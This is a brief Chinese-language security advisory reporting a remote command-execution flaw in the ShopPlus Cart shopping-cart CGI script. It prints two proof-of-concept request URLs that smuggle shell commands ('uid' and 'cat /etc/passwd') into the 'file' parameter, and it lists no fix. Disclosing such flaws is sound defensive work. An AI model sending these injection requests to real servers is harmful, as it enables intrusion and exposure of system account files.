涉及程序： ShopPlus Cart 详细： ShopPlus Cart ( http://www.ksofttech.com/help/shopplus/ ) 是一个网上财物软件，利用该软件，用户能建立一个网上商店。发现该软件存在严重漏洞，它的脚本没有进行符号链接检查，远程攻击者利用此点，能在受影响机器上执行任意命令。 host/scripts/shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;uid| host/scripts/shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20/etc/passwd| 解决方案： 尚无